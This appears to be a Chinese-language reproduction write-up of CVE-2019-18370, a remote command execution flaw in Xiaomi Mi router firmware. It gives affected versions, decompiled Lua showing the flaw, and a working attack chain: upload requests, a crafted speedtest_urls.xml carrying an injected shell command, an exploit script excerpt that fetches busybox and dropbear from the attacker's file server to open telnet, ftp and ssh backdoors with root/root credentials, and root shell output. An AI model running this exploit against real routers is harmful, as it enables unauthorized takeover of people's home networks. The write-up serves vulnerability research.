

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE

漏洞描述

编号

CVE-2019-18370

设备信息&固件版本号

MiRouter 4A Gigabit:

2.28.62
2.28.65
2.28.132
3.0.10
3.0.24
3.0.27
3.2.30
3.10.18

MiRouter 4A 100M (non gigabit):

2.18.51
2.18.58
3.0.12

MiRouter 4C:

2.14.81
2.14.87
2.14.92

Mi Router 3Gv2:

2.28.8

Mi Router 4Q (aka R4C):

2.28.48

MiWifi 3C:

2.8.51_INT
2.9.217
2.14.45

Mi Router 4:

2.18.62

2.26.175

Xiaomi Mi R3P:

Xiaomi Dev firmware

Xiaomi 3Gv1:

The stock firmware coming with the router

AC2350 AIOT:

1.3.8CN

漏洞类型

RCE

危害

拥有路由器admin账号的攻击者可远程获取机器root权限

复现流程

复现设备&固件

XiaoMi Mi Router 3C

miwifi_r3l_firmware_a5c81_2.9.217.bin/miwifi_r3l_firmware_0b49f_2.14.45.bin(latest)

固件下载&安装

2.9.217

http://bigota.miwifi.com/xiaoqiang/rom/r3l/miwifi_r3l_firmware_a5c81_2.9.217.bin

or

2.14.45(latest)

<https://miuirom.org/miwifi/mi-router-3c>



漏洞分析

恢复备份功能将用户上传文件解压至/tmp目录下，并且未对文件做任何过滤，导致用户可上传任意文件至/tmp

而存在接口从tmp目录下读取文件并拼接内容进os.execute()，导致rce
binwalk提取固件

```
(kali@kali)~[~/ctfs]
$ binwalk -e miwifi_r3l_firmware_0b49f_2.14.45.bin

DECIMAL      HEXADECI     DESCRIPTION
-----
676          0x2A4       uImage header, header size: 64 bytes, header CRC: 0xEC3FEEC7, created: 2019-03-26 10:53:28, image size: 1429013 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0
x238E0B1B, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-3.10.14"
740          0x2E4       LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 4142388 bytes

WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/var -> /tmp; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/mtab -> /proc/42998/mounts; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/TZ -> /tmp/TZ; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/fstab -> /tmp/fstab; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/resolv.conf -> /tmp/resolv.conf; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/Wireless/mt7628/mt7628.eeprom.bin -> /usr/lib/wifi/mt7628.eeprom.bin; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/Wireless/mt7628/singlesku -> /usr/lib/wifi/singlesku; changing link target to /dev/null for security purposes.
WARNING: Symlink points outside of the extraction directory: /home/kali/ctfs/_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/etc/ppp/resolv.conf -> /tmp/resolv.conf.ppp; changing link target to /dev/null for security purposes.
1442468      0x1602A4    Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6000742 bytes, 1981 inodes, blocksize: 262144 bytes, created: 2019-03-26 10:53:22
```

反编译lua,找到混淆后的cUpload函数

_miwifi_r3l_firmware_0b49f_2.14.45.bin.extracted/squashfs-root/usr/lib/lua/luci/controller/api/misystem.lua

```
(kali@kali)~[~/Desktop/unluac]
$ java -jar unluac_mi.jar misystem.lua > misystem_decompiled.lua
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
```

```
7293 cUpload = L10
7294 function L10()
7295     local L0, L1, L2, L3, L4, L5, L6, L7
7296     L0 = require
7297     L1 = "luci.util"
7298     L0 = L0(L1)
7299     L1 = require
7300     L2 = "xiaoqiang.util.XQLanWanUtil"
7301     L1 = L1(L2)
7302     L2 = require
7303     L3 = "xiaoqiang.module.XQBackup"
7304     L2 = L2(L3)
```

反混淆后的代码，其中 uploadFilepath 不可控，但使用 XQBackup.extract(uploadFilepath)，其对解压内容未作任何过滤

```

function cUpload()
    local LuciFs = require("luci.fs")
    local XQBackup = require("xiaoqiang.module.XQBackup")
    local code = 0
    local canupload = true
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
    local fileSize = tonumber(LuciHttp.getenv("CONTENT_LENGTH"))
    if fileSize > 102400 then
        canupload = false
    end
    LuciHttp.setfilehandler(
        function(meta, chunk, eof)
            if canupload then
                if not fp then
                    if meta and meta.name == "image" then
                        fp = io.open(uploadFilepath, "w")
                    end
                end
                if chunk then
                    fp:write(chunk)
                end
                if eof then
                    fp:close()
                end
            else
                code = 1630
            end
        end
    )
    if LuciHttp.formvalue("image") and fp then
        code = 0
    end
    local result = {}
    if code == 0 then
        -- extract
        local ext = XQBackup.extract(uploadFilepath)
        if ext == 0 then
            result["des"] = XQBackup.getdes()
        else
            code = 1629
        end
    end
    if code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(code)
        LuciFs.unlink(uploadFilepath)
    end
    result["code"] = code
    LuciHttp.write_json(result)
end

```

```

-- 0:succeed
-- 1:file does not exist
-- 2:no description file
-- 3:no mbu file
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end
    -- extract
    os.execute("cd /tmp; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access(DESFIL) then
        return 2
    end
    if not fs.access(MBUFILE) then
        return 3
    end
    return 0
end
end

```

因此可以实现任意文件上传。

又存在两接口 /usr/bin/upload_speedtest 和 /usr/bin/download_speedtest ,读取/tmp/speedtest_urls.xml 并拼接其中的url进os.execute()

/usr/bin/download_speedtest

```

#!/usr/bin/env lua
-- ...
local cfg = {
-- ...
    ['xmlfile'] = "/usr/share/speedtest.xml",
    ['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}
VERSION="__UNDEFINED__"
-- ...
-- 优先使用/usr/share/speedtest.xml
local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
    filexml:close()
    filename = cfg.tmp_speedtest_xml
else
    filename = cfg.xmlfile
end

local pp = io.open(filename)
local line = pp:read("*line")
local size = 0
local resources = {}
local u = ""
local pids = {}
-- ...
function wget_work(url)
    local _url = url
    pid = posix.fork()
    if pid < 0 then
        print("fork error")
        return -1
    elseif pid > 0 then
        --print(string.format("child pid %d\n", pid))
    else
        -- 拼接每条url, 未作过滤导致rce
        os.execute('for i in $(seq '.. math.floor(cfg.nr/cfg.nc) '..'); do wget '.. url ..
            " -q -O /dev/null; done")
    end
    return pid
end

while line do
    -- re提取url
    local _, _, url = string.find(line, '<item url="(.)"/>')
    if url then
        table.insert(resources, url)
    end
    line = pp:read("*line")
end

```

```
pp:close()

local urls = mrandom(1, table.getn(resources), cfg.nc)

for k, v in ipairs(urls) do
    if VERSION == "LESSMEM" then
        local pid = wget_work_loop(resources[v])
    else
        -- VERSION 为 __UNDEFINED__, 调用wget_work()
        local pid = wget_work(resources[v])
    end
    if(pid == 0) then
        os.exit(0)
    elseif(pid == -1) then
        done()
    end
end
end
```

备份、恢复功能

备份与恢复

备份路由器的配置，重新刷机或重置路由器后可以用来恢复。

新建备份

立即恢复

接口 /cgi-bin/luci/;stok={}/api/misystem/c_upload

Request

PrettyRawHex

1 POST /cgi-bin/luci/;stok=d9feb7f6501e26bacff892d4849e8815/api/misystem/c_upload HTTP/1.1

2 Host: 192.168.2.115

3 User-Agent: python-requests/2.28.1

4 Accept-Encoding: gzip, deflate

5 Accept: */*

6 Connection: close

7 Content-Length: 2129

8 Content-Type: multipart/form-data; boundary=765b94592aff6e94750d1daca9f57950

9 --765b94592aff6e94750d1daca9f57950

10 Content-Disposition: form-data; name="image"; filename="payload.tar.gz"

11

12

13

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK

2 Tx-Server: MiXr

3 Date: Fri, 07 Apr 2023 08:22:26 GMT

4 Content-Type: text/html; charset=utf-8

5 Content-Length: 61

6 Connection: close

7 Cache-Control: no-cache

8 Expires: Thu, 01 Jan 1970 00:00:01 GMT

9 MiCGI-Switch: 1 1

10 MiCGI-Client-IP: 192.168.2.102

11 MiCGI-Host: 192.168.2.115

12 MiCGI-Http-Host: 192.168.2.115

13 MiCGI-Server-IP: 192.168.2.115

14 MiCGI-Server-Port: 80

15 MiCGI-Status: CGI

16 MiCGI-Preload: no

17

18 {"code":1629,"msg":"解压失败，可能文件已经损坏"}

打包包含payload的speedtest_urls.xml文件


```

1 <?xml version="1.0"?>
2 <root>
3   <class type="1">
4     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
5     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
6     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
7     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
8     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
9     <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
10    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
11    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
12    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
13    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
14    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
15    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
16    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
17    <item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat" />
18  </class>
19  <class type="2">
20    <item url="http://192.168.2.115 -q -O /dev/null;((sh /tmp/script.sh exploit 8);exit;wget http://192.168.2.115 " />
21  </class>
22  <class type="3">
23    <item uploadurl="http://www.taobao.com/" />
24    <item uploadurl="http://www.so.com/" />
25    <item uploadurl="http://www.qq.com/" />
26    <item uploadurl="http://www.sohu.com/" />
27    <item uploadurl="http://www.tudou.com/" />
28    <item uploadurl="http://www.360doc.com/" />
29    <item uploadurl="http://www.kankan.com/" />
30    <item uploadurl="http://www.speedtest.cn/" />
31  </class>
32 </root>
33

```

调用测速接口 /cgi-bin/luci;/stok={}/api/xqnetdetect/netspeed，触发rce

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET		1 HTTP/1.1 200 OK	
2 /cgi-bin/luci;/stok=d9feb7f6501e26bacff892d4849e8815/api/xqnetdetect/netspeed?38007 HTTP/1.1		2 Tx-Server: MiXr	
3 Host: 192.168.2.115		3 Date: Fri, 07 Apr 2023 08:22:35 GMT	
4 User-Agent: python-requests/2.28.1		4 Content-Type: text/html; charset=utf-8	
5 Accept-Encoding: gzip, deflate		5 Content-Length: 37	
6 Accept: */*		6 Connection: close	
7 Connection: close		7 {:	
8		8 status=0:	
		9 data=ok:	
		10 }:	
		11 To AD mode, disable OnS, quit!	

rce利用脚本,起ftp、telnet、ssh服务

```

43 setup_busybox() {
44     # kill/stop telnet, in case it is running from a previous execution
45     pgrep busybox | xargs kill || true
46
47     cd /tmp
48     get_file busybox-mipsel busybox
49     chmod +x busybox
50 }
51
52 start_ftp() {
53     cd /tmp
54     ln -sf busybox ftpd # Create symlink needed for running ftpd
55     ./busybox tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/messages 2>&1 &
56 }
57
58 start_telnet() {
59     cd /tmp
60     ./busybox telnetd
61 }
62
63 start_ssh() {
64     cd /tmp
65
66     # Clean
67     rm -rf dropbear
68     rm -rf /etc/dropbear
69
70     # kill/stop dropbear, in case it is running from a previous execution
71     pgrep dropbear | xargs kill || true
72
73     # Download dropbear static mipsel binary
74     get_file dropbearStaticMipsel.tar.bz2 dropbear.tar.bz2
75     mkdir dropbear
76     /tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1
77
78     # Add keys
79     # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html
80     mkdir -p /etc/dropbear
81     cd /etc/dropbear

```

漏洞利用

由于攻击需要借助本地文件服务，需要保证攻击者和路由器双向可达。(虚拟机不能NAT，需要桥接)
攻击脚本

https://github.com/FzBacon/CVE-2019-18370_XiaoMi_Mi_WIFI_RCE

输入路由器admin ip和admin pwd，可选起本地文件服务或远程文件作为payload

```
kali@kali: ~/ctfs/OpenWRTInvasion
File Actions Edit View Help
(kali@kali)~/ctfs/OpenWRTInvasion
$ python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default '192.168.2.115']:
Enter router admin password: 8
There two options to provide the files needed for invasion:
1. Use a local TCP file server runing on random port to provide files in l
ocal directory 'script_tools'.
2. Download needed files from remote github repository. (choose this optio
n only if github is accessible inside router device.)
Which option do you prefer? (default: 1)
*****
router_ip_address: 192.168.2.115
stok: d9feb7f6501e26bacff892d4849e8815
file provider: local file server
*****
start uploading config file...
start exec command...
local file server is runing on 0.0.0.0:38007. root='script_tools'
local file server is getting 'busybox-mipsel' for 192.168.2.115.
local file server is getting 'dropbearStaticMipsel.tar.bz2' for 192.168.2.115
.
done! Now you can connect to the router using several options: (user: root, p
assword: root)
* telnet 192.168.2.115
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rs
a -c 3des-cbc -o UserKnownHostsFile=/dev/null root@192.168.2.115
* ftp: using a program like cyberduck
(kali@kali)~/ctfs/OpenWRTInvasion
$

kali@kali: ~
File Actions Edit View Help
(kali@kali)~
$ telnet 192.168.2.115
Trying 192.168.2.115 ...
Connected to 192.168.2.115.
Escape character is '^]'.

XiaoQiang login: root
Password:

BusyBox v1.19.4 (2017-05-11 16:59:34 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

Welcome to XiaoQiang!

$$$$$$\ $$$$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$ _$$ $$_$$ $$_$$ $$_$$ $$_$$ $$_$$ $$_$$ $$_$$
$$ / $$ |$$ | $$ | $$ | $$ | $$ | $$ | $$ | $$ |
$$$$$$$ |$$$$$ |$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
$$ _$$ |$$ _$$< $$ _$$ | $$ | $$ | $$ | $$ |
$$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$ |
$$ | $$ |$$ | $$ |$$$$$$$ $$$$$$ $$$$$$ |$$ |
\_| \_| \_| \_| \_| \_| \_| \_| \_| \_| \_| \_|

root@XiaoQiang:~# pwd
/root
root@XiaoQiang:~#
```

攻击成功会开启三个服务，telnet、ssh、ftp，可按照生成的口令等信息利用，最终获得root权限的shell等。

```
root@XiaoQiang:~# uname -a
Linux XiaoQiang 3.10.14 #1 MiWiFi-R3L-2.9.217 Thu May 11 17:07:16 CST 2017 mi
ps GNU/Linux
root@XiaoQiang:~#
```

疑问

逆向lua反混淆